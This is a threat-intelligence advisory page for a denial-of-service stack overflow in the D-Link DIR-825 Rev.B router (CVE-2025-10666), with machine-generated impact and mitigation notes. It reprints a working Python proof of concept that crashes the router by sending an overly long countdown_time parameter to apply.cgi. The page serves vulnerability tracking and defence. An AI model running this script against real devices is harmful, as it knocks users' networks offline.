D-Link DIR-825 Rev.B 2.10 - Stack Buffer Overflow (DoS)
D-Link DIR-825 Rev.B 2.10 - Stack Buffer Overflow (DoS)
AI Analysis
Technical Summary
This vulnerability affects the D-Link DIR-825 Rev.B router running firmware version 2.10. It is a stack buffer overflow that can be exploited to cause a denial of service condition. The exploit code is available in Python, indicating a proof-of-concept or attack script exists. There is no information about affected sub-versions or specific vulnerable components. No vendor advisory or patch information is provided.
Potential Impact
Successful exploitation results in denial of service, potentially disrupting network availability for users of the affected router model and firmware version. There is no indication of remote code execution or data compromise from the provided data.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, consider limiting exposure of the affected device to untrusted networks and monitor for unusual device behavior. No official patch or workaround is currently documented.
Indicators of Compromise
- exploit-code: # Exploit Title: D-Link DIR-825 Rev.B 2.10 - Stack Buffer Overflow (DoS) # Google Dork: N/A # Date: 2025-09-25 # Exploit Author: Beatriz Fresno Naumova # Vendor Homepage: https://www.dlink.com/ # Software Link: https://tsd.dlink.com.tw/downloads2008detail.asp # Version: DIR-825 Rev.B <= 2.10 # Tested on: DIR-825 Rev.B physical hardware, local network # CVE: CVE-2025-10666 # # Description: # A stack-based buffer overflow vulnerability exists in the apply.cgi endpoint of the # D-Link DIR-825 Rev.B router (firmware <= 2.10), triggered via the countdown_time parameter. # This PoC sends an overly long POST parameter to crash the process. import requests TARGET = "http://192.168.0.1/apply.cgi" # Change this to the router's IP LENGTH = 4000 # Adjust length for testing / fuzzing PAYLOAD = "1" * LENGTH headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded", "Referer": "http://192.168.0.1/", } data = { "countdown_time": PAYLOAD } try: print(f"[+] Sending exploit payload ({LENGTH} bytes) to {TARGET}") r = requests.post(TARGET, headers=headers, data=data, timeout=5) print(f"[+] Status Code: {r.status_code}") print("[+] Exploit sent. Check if the router crashes or becomes unresponsive.") except Exception as e: print(f"[-] Failed to send exploit: {e}")
D-Link DIR-825 Rev.B 2.10 - Stack Buffer Overflow (DoS)
Description
D-Link DIR-825 Rev.B 2.10 - Stack Buffer Overflow (DoS)
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
This vulnerability affects the D-Link DIR-825 Rev.B router running firmware version 2.10. It is a stack buffer overflow that can be exploited to cause a denial of service condition. The exploit code is available in Python, indicating a proof-of-concept or attack script exists. There is no information about affected sub-versions or specific vulnerable components. No vendor advisory or patch information is provided.
Potential Impact
Successful exploitation results in denial of service, potentially disrupting network availability for users of the affected router model and firmware version. There is no indication of remote code execution or data compromise from the provided data.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, consider limiting exposure of the affected device to untrusted networks and monitor for unusual device behavior. No official patch or workaround is currently documented.
Technical Details
- Edb Id
- 52469
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for D-Link DIR-825 Rev.B 2.10 - Stack Buffer Overflow (DoS)
# Exploit Title: D-Link DIR-825 Rev.B 2.10 - Stack Buffer Overflow (DoS) # Google Dork: N/A # Date: 2025-09-25 # Exploit Author: Beatriz Fresno Naumova # Vendor Homepage: https://www.dlink.com/ # Software Link: https://tsd.dlink.com.tw/downloads2008detail.asp # Version: DIR-825 Rev.B <= 2.10 # Tested on: DIR-825 Rev.B physical hardware, local network # CVE: CVE-2025-10666 # # Description: # A stack-based buffer overflow vulnerability exists in the apply.cgi endpoint of the # D-Link DIR-825 Rev.B... (865 more characters)
Threat ID: 6981b62cf9fa50a62fb22405
Added to database: 2/3/2026, 8:47:40 AM
Last enriched: 4/7/2026, 11:05:25 AM
Last updated: 5/8/2026, 11:52:16 PM
Views: 215
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